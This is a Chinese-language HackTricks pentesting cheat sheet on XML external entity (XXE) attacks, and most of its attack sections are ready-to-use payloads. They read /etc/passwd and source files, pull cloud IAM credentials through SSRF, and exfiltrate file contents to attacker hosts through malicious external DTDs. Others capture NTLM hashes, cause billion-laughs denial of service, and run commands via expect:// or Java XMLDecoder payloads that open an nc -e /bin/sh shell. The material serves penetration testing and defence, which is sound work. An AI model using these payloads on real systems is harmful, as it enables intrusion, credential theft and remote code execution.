hacktricks/pentesting-web/xxe-xee-xml-external-entity.md

32 KiB
Raw Blame History

XXE - XEE - XML外部实体

从零开始学习AWS黑客技术成为专家 htARTEHackTricks AWS红队专家

支持HackTricks的其他方式

XML基础知识

XML是一种为数据存储和传输而设计的标记语言具有灵活的结构允许使用描述性命名的标签。它与HTML不同不受限于一组预定义的标签。尽管XML最初在AJAX技术中起着重要作用但随着JSON的兴起其重要性已经下降。

  • 通过实体表示数据XML中的实体使数据的表示成为可能包括特殊字符如&lt;&gt;,它们分别对应于<>以避免与XML的标签系统冲突。

  • 定义XML元素XML允许定义元素类型概述元素应该如何结构化以及它们可以包含的内容从任何类型的内容到特定子元素。

  • 文档类型定义DTDDTD在XML中至关重要用于定义文档的结构和其可以包含的数据类型。它们可以是内部的、外部的或两者结合指导文档的格式化和验证方式。

  • 自定义和外部实体XML支持在DTD中创建自定义实体以灵活表示数据。使用URL定义的外部实体会引发安全问题特别是在XML外部实体XXE攻击的背景下这些攻击利用XML解析器处理外部数据源的方式<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>

  • 使用参数实体检测XXE为了检测XXE漏洞特别是当传统方法由于解析器安全措施而失败时可以利用XML参数实体。这些实体允许进行带外检测技术例如触发DNS查找或HTTP请求到受控域名以确认漏洞。

  • <!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>

  • <!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>

主要攻击

这些攻击大多数是使用出色的Portswiggers XEE实验室进行测试的: https://portswigger.net/web-security/xxe

新实体测试

在这次攻击中,我将测试一个简单的新实体声明是否有效。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY toreplace "3"> ]>
<stockCheck>
<productId>&toreplace;</productId>
<storeId>1</storeId>
</stockCheck>

读取文件

让我们尝试以不同的方式读取 /etc/passwd 文件。对于Windows您可以尝试读取C:\windows\system32\drivers\etc\hosts

在这种情况下请注意SYSTEM "**file:///**etc/passwd" 也可以工作。

<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
<data>&example;</data>

这第二种情况应该对提取文件很有用如果Web服务器正在使用PHP不是Portswiggers实验的情况

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
<data>&example;</data>

在这第三个案例中,请注意我们将Element stockCheck声明为ANY。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ELEMENT stockCheck ANY>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<stockCheck>
<productId>&file;</productId>
<storeId>1</storeId>
</stockCheck3>

目录列表

在基于Java的应用程序中可以通过类似以下负载的XXE来列出目录的内容(只请求目录而不是文件):

<!-- Root / -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>

<!-- /etc/ -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root[<!ENTITY xxe SYSTEM "file:///etc/" >]><root><foo>&xxe;</foo></root>

SSRF

XXE可能被用来滥用云中的SSRF

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>

盲 SSRF

使用先前注释的技术,您可以让服务器访问您控制的服务器以显示其存在漏洞。但是,如果这种方法不起作用,可能是因为不允许使用 XML 实体,在这种情况下,您可以尝试使用XML 参数实体

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

"盲" SSRF - 通过外带方式泄露数据

在这种情况下我们将让服务器加载一个带有恶意有效负载的新DTD该有效负载将通过HTTP请求发送文件的内容对于多行文件您可以尝试通过 ftp://进行外带)。这个解释是基于 Portswiggers lab here

在给定的恶意DTD中进行了一系列步骤来外带数据

恶意DTD示例

结构如下:

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;

这个DTD执行的步骤包括

  1. 参数实体的定义:
  • 创建一个XML参数实体 %file,读取 /etc/hostname 文件的内容。
  • 定义另一个XML参数实体 %eval。它动态声明一个新的XML参数实体 %exfiltrate%exfiltrate 实体被设置为向攻击者服务器发起HTTP请求%file 实体的内容传递到URL的查询字符串中。
  1. 实体的执行:
  • 使用 %eval 实体,导致动态声明 %exfiltrate 实体的执行。
  • 然后使用 %exfiltrate 实体触发向指定URL发送文件内容的HTTP请求。

攻击者将这个恶意的DTD托管在他们控制下的服务器上通常在类似 http://web-attacker.com/malicious.dtd 的URL上。

XXE Payload: 为了利用一个存在漏洞的应用程序攻击者发送一个XXE有效载荷

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

这个 payload 定义了一个 XML 参数实体 %xxe 并将其合并到 DTD 中。当被 XML 解析器处理时,这个 payload 会从攻击者的服务器中获取外部 DTD。然后解析器会内联解释 DTD执行恶意 DTD 中概述的步骤,导致将 /etc/hostname 文件泄露到攻击者的服务器。

基于错误的(外部 DTD

在这种情况下,我们将让服务器加载一个恶意 DTD该 DTD 将在错误消息中显示文件的内容(仅在您能看到错误消息时有效)。 示例在这里。

通过恶意的外部文档类型定义DTD可以触发 XML 解析错误消息,从而显示 /etc/passwd 文件的内容。实现这一目标的步骤如下:

  1. 定义一个名为 file 的 XML 参数实体,其中包含 /etc/passwd 文件的内容。
  2. 定义一个名为 eval 的 XML 参数实体,其中包含另一个名为 error 的 XML 参数实体的动态声明。当评估此 error 实体时,它会尝试加载一个不存在的文件,并将 file 实体的内容作为其名称。
  3. 调用 eval 实体,导致动态声明 error 实体。
  4. 调用 error 实体会尝试加载一个不存在的文件,生成一个错误消息,其中包含 /etc/passwd 文件的内容作为文件名的一部分。

可以使用以下 XML 调用恶意的外部 DTD

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

基于错误的 (system DTD)

那么当阻止带外交互(禁用外部连接)时,盲目 XXE 漏洞怎么办呢?

XML 语言规范中的一个漏洞可以通过错误消息暴露敏感数据,当文档的 DTD 混合了内部和外部声明时。这个问题允许在内部重新定义在外部声明的实体,促进基于错误的 XXE 攻击的执行。这种攻击利用了在内部 DTD 中重新定义 XML 参数实体,该实体最初在外部 DTD 中声明。当服务器阻止带外连接时,攻击者必须依赖本地 DTD 文件来进行攻击,旨在诱发解析错误以揭示敏感信息。

考虑一个场景,服务器文件系统中包含一个位于 /usr/local/app/schema.dtd 的 DTD 文件,定义了一个名为 custom_entity 的实体。攻击者可以通过提交以下混合 DTD 来诱发 XML 解析错误,从而揭示 /etc/passwd 文件的内容:

<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>

以下是由此DTD执行的步骤

  • 定义了一个名为local_dtd的XML参数实体其中包含位于服务器文件系统上的外部DTD文件。
  • custom_entity XML参数实体进行重新定义最初在外部DTD中定义以封装一个基于错误的XXE利用。这种重新定义旨在引发解析错误,从而暴露/etc/passwd文件的内容。
  • 通过使用local_dtd实体启用了外部DTD包含了新定义的custom_entity。这一系列操作导致了利用所针对的错误消息的发出。

真实世界示例: 使用GNOME桌面环境的系统通常在/usr/share/yelp/dtd/docbookx.dtd中包含一个名为ISOamso的实体。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

由于这种技术使用内部 DTD,您首先需要找到一个有效的 DTD。您可以通过安装与服务器相同的操作系统/软件,并搜索一些默认的 DTD,或者获取系统中默认 DTD 的列表,然后检查是否存在任何一个:

<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>

在系统内查找DTDs

在以下令人印象深刻的 GitHub 存储库中,您可以找到可能存在于系统中的DTDs的路径

{% embed url="https://github.com/GoSecure/dtd-finder/tree/master/list" %}

此外,如果您拥有受害系统的Docker镜像,您可以使用相同存储库中的工具扫描镜像查找系统内存在的DTDs的路径。阅读GitHub的自述文件以了解更多信息。

java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar

Scanning TAR file /tmp/dadocker.tar

[=] Found a DTD: /tomcat/lib/jsp-api.jar!/jakarta/servlet/jsp/resources/jspxml.dtd
Testing 0 entities : []

[=] Found a DTD: /tomcat/lib/servlet-api.jar!/jakarta/servlet/resources/XMLSchema.dtd
Testing 0 entities : []

通过 Office Open XML 解析器进行 XXE 攻击

要了解此攻击的更深入解释,请查看 Detectify 的这篇精彩文章的第二部分。

许多 Web 应用程序提供了上传 Microsoft Office 文档的功能然后从这些文档中提取某些详细信息。例如Web 应用程序可能允许用户通过上传 XLSX 格式的电子表格来导入数据。为了从电子表格中提取数据,解析器必然需要解析至少一个 XML 文件。

要测试此漏洞,需要创建一个包含 XXE 负载的 Microsoft Office 文件。第一步是创建一个空目录,以便可以将文档解压缩到其中。

文档解压缩后,应打开位于 ./unzipped/word/document.xml 的 XML 文件,并在首选文本编辑器(如 vim中进行编辑。应修改 XML 以包含所需的 XXE 负载,通常以 HTTP 请求开头。

修改后的 XML 行应插入在两个根 XML 对象之间。重要的是将 URL 替换为可监控请求的 URL。

最后,可以将文件压缩为恶意 poc.docx 文件。从先前创建的“unzipped”目录中应运行以下命令

现在,可以将创建的文件上传到可能存在漏洞的 Web 应用程序中,并希望在 Burp Collaborator 日志中出现请求。

Jar 协议

jar 协议仅在 Java 应用程序 中可访问。它旨在在 PKZIP 存档(例如 .zip.jar 等)中启用文件访问,适用于本地和远程文件。

jar:file:///var/myarchive.zip!/file.txt
jar:https://download.host.com/myarchive.zip!/file.txt

{% hint style="danger" %} 能够访问PKZIP文件内部的文件对于通过系统DTD文件滥用XXE非常有用。查看此部分以了解如何滥用系统DTD文件。 {% endhint %}

通过jar协议访问PKZIP存档中的文件的过程涉及几个步骤

  1. 发出HTTP请求以从指定位置下载zip存档例如https://download.website.com/archive.zip
  2. 包含存档的HTTP响应被临时存储在系统中通常在类似/tmp/...的位置。
  3. 然后解压存档以访问其内容。
  4. 读取存档中的特定文件file.zip
  5. 操作完成后,删除在此过程中创建的任何临时文件。

一种有趣的技术是在第二步中中断此过程,方法是在提供存档文件时保持服务器连接无限期打开。可利用此存储库中的工具包括Python服务器slow_http_server.py和Java服务器slowserver.jar)。

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
<foo>&xxe;</foo>

{% hint style="danger" %} 将文件写入临时目录可以帮助升级涉及路径遍历的另一个漏洞如本地文件包含、模板注入、XSLT RCE、反序列化等。 {% endhint %}

XSS

<![CDATA[<]]>script<![CDATA[>]]>alert(1)<![CDATA[<]]>/script<![CDATA[>]]>

DoS

十亿笑攻击

<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>

Yaml 攻击

a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]

二次方爆炸攻击

获取 NTML

在 Windows 主机上,可以通过设置 responder.py 处理程序来获取 Web 服务器用户的 NTML 哈希值:

Responder.py -I eth0 -v

通过发送以下请求

<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM 'file://///attackerIp//randomDir/random.jpg'> ]>
<data>&example;</data>

隐藏的XXE表面

XInclude

当将客户端数据集成到服务器端XML文档中比如后端SOAP请求中的文档时由于对XML结构的直接控制通常受限传统的XXE攻击受到限制因为无法修改DOCTYPE元素。然而,XInclude攻击提供了一种解决方案允许在XML文档的任何数据元素中插入外部实体。即使只能控制服务器生成的XML文档中的部分数据这种方法也是有效的。

要执行XInclude攻击,必须声明XInclude命名空间,并指定所需外部实体的文件路径。以下是一个简洁的示例,展示了如何构建这样一种攻击:

productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1

查看https://portswigger.net/web-security/xxe获取更多信息!

SVG - 文件上传

用户上传到某些应用程序的文件,然后在服务器上进行处理,可能会利用处理 XML 或包含 XML 的文件格式的漏洞。常见的文件格式如办公文档DOCX和图像SVG都是基于 XML 的。

当用户上传图像时,这些图像会在服务器端进行处理或验证。即使是期望 PNG 或 JPEG 等格式的应用程序,服务器的图像处理库也可能支持 SVG 图像。SVG 作为基于 XML 的格式,可以被攻击者利用来提交恶意 SVG 图像,从而使服务器暴露于 XXEXML External Entity漏洞之中。

下面展示了这种利用的示例,其中恶意 SVG 图像尝试读取系统文件:

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>

另一种方法涉及尝试通过PHP的“expect”包装器执行命令

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
<image xlink:href="expect://ls"></image>
</svg>

在这两种情况下SVG格式被用来发动攻击利用服务器软件的XML处理能力突显了对强大的输入验证和安全措施的需求。

查看https://portswigger.net/web-security/xxe获取更多信息!

请注意读取文件的第一行或执行结果将出现在创建的图像内部。因此您需要能够访问SVG创建的图像。

PDF - 文件上传

阅读以下文章以了解如何利用 XXE 上传 PDF 文件

{% content-ref url="file-upload/pdf-upload-xxe-and-cors-bypass.md" %} pdf-upload-xxe-and-cors-bypass.md {% endcontent-ref %}

Content-Type: 从 x-www-urlencoded 到 XML

如果 POST 请求接受 XML 格式的数据,您可以尝试在该请求中利用 XXE。例如如果正常请求包含以下内容

POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

foo=bar

然后您可能能够提交以下请求,结果相同:

POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52

<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>

Content-Type: 从 JSON 到 XEE

要更改请求,您可以使用一个名为“Content Type Converter”的 Burp 扩展。这里您可以找到这个示例:

Content-Type: application/json;charset=UTF-8

{"root": {"root": {
"firstName": "Avinash",
"lastName": "",
"country": "United States",
"city": "ddd",
"postalCode": "ddd"
}}}
Content-Type: application/xml;charset=UTF-8

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE testingxxe [<!ENTITY xxe SYSTEM "http://34.229.92.127:8000/TEST.ext" >]>
<root>
<root>
<firstName>&xxe;</firstName>
<lastName/>
<country>United States</country>
<city>ddd</city>
<postalCode>ddd</postalCode>
</root>
</root>

另一个示例可以在这里找到。

WAF & Protections Bypasses

Base64

<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>

这只有在XML服务器接受data://协议时才有效。

UTF-7

您可以在此处使用[CyberChef的“编码配方”](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7 %2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)将其转换为UTF-7。

<!xml version="1.0" encoding="UTF-7"?-->
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4

文件:/ 协议绕过

如果网站使用 PHP可以使用 php wrappers php://filter/convert.base64-encode/resource=访问内部文件,而不是使用 file:/

如果网站使用 Java您可以查看jar: 协议

HTML 实体

来自 https://github.com/Ambrotd/XXE-Notes
您可以创建一个 实体内部的实体,使用 html 实体 进行编码,然后调用它来 加载一个 dtd
请注意,所使用的 HTML 实体 需要是 数字 的(就像 [在这个例子中](https://gchq.github.io/CyberChef/#recipe=To_HTML_Entity%28true,'Numeric entities'%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\)。

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "&#x3C;&#x21;&#x45;&#x4E;&#x54;&#x49;&#x54;&#x59;&#x25;&#x64;&#x74;&#x64;&#x53;&#x59;&#x53;&#x54;&#x45;&#x4D;&#x22;&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x6F;&#x75;&#x72;&#x73;&#x65;&#x72;&#x76;&#x65;&#x72;&#x2E;&#x63;&#x6F;&#x6D;&#x2F;&#x62;&#x79;&#x70;&#x61;&#x73;&#x73;&#x2E;&#x64;&#x74;&#x64;&#x22;&#x3E;" >%a;%dtd;]>
<data>
<env>&exfil;</env>
</data>

DTD 示例:

<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/flag">
<!ENTITY % abt "<!ENTITY exfil SYSTEM 'http://172.17.0.1:7878/bypass.xml?%data;'>">
%abt;
%exfil;

PHP包装器

Base64

提取 index.php

<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>

提取外部资源

<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.0.3"> ]>

远程代码执行

如果加载了PHP的"expect"模块

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

SOAP - XEE

SOAP - XEE

<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>

XLIFF - XXE

这个例子受到了https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe的启发。

XLIFFXML Localization Interchange File Format用于标准化本地化过程中的数据交换。这是一种基于XML的格式主要用于在本地化过程中在工具之间传输可本地化数据并作为CAT计算机辅助翻译工具的常见交换格式。

盲目请求分析

向服务器发出以下内容的请求:

------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://redacted.burpcollaborator.net/?xxe_test"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--

然而,此请求触发了内部服务器错误,具体提到了与标记声明有关的问题:

{"status":500,"error":"Internal Server Error","message":"Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."}

尽管出现错误但在Burp Collaborator上记录了一次命中表明与外部实体有一定程度的交互。

带外数据泄露 为了将数据外泄,发送了一个修改过的请求:

------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--

这种方法显示用户代理指示使用Java 1.8。这个Java版本的一个已知限制是无法使用带有换行符的文件如/etc/passwd来使用带外技术检索文件。

基于错误的数据泄露 为了克服这个限制采用了基于错误的方法。DTD文件的结构如下以触发包含目标文件数据的错误

<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/'>">
%foo;
%xxe;

服务器返回一个错误,重要的是反映了不存在的文件,表明服务器正在尝试访问指定的文件:

{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}

要在错误消息中包含文件内容需要调整DTD文件

<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/%data;'>">
%foo;
%xxe;

这种修改导致文件内容成功外泄因为它反映在通过HTTP发送的错误输出中。这表明成功利用XXEXML外部实体攻击利用带外和基于错误的技术来提取敏感信息。

RSS - XEE

利用XXE漏洞的有效XML格式与RSS格式。

回显

向攻击者服务器发出简单的HTTP请求

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "http://<AttackIP>/rssXXE" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>XXE Test Blog</title>
<link>http://example.com/</link>
<description>XXE Test Blog</description>
<lastBuildDate>Mon, 02 Feb 2015 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>Test Post</description>
<author>author@example.com</author>
<pubDate>Mon, 02 Feb 2015 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

读取文件

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

读取源代码

使用 PHP base64 过滤器

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=file:///challenge/web-serveur/ch29/index.php" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

Java XMLDecoder XEE to RCE

XMLDecoder是一个Java类它根据XML消息创建对象。如果恶意用户可以让应用程序在调用readObject方法时使用任意数据,他将立即在服务器上获得代码执行权限。

使用Runtime().exec()

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<object class="java.lang.Runtime" method="getRuntime">
<void method="exec">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
</void>
</object>
</java>

ProcessBuilder

ProcessBuilder

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
<void method="start" id="process">
</void>
</void>
</java>

工具

{% embed url="https://github.com/luisfontes19/xxexploiter" %}

参考资料

从零开始学习 AWS 黑客技术,成为专家 htARTE (HackTricks AWS Red Team Expert)!

支持 HackTricks 的其他方式: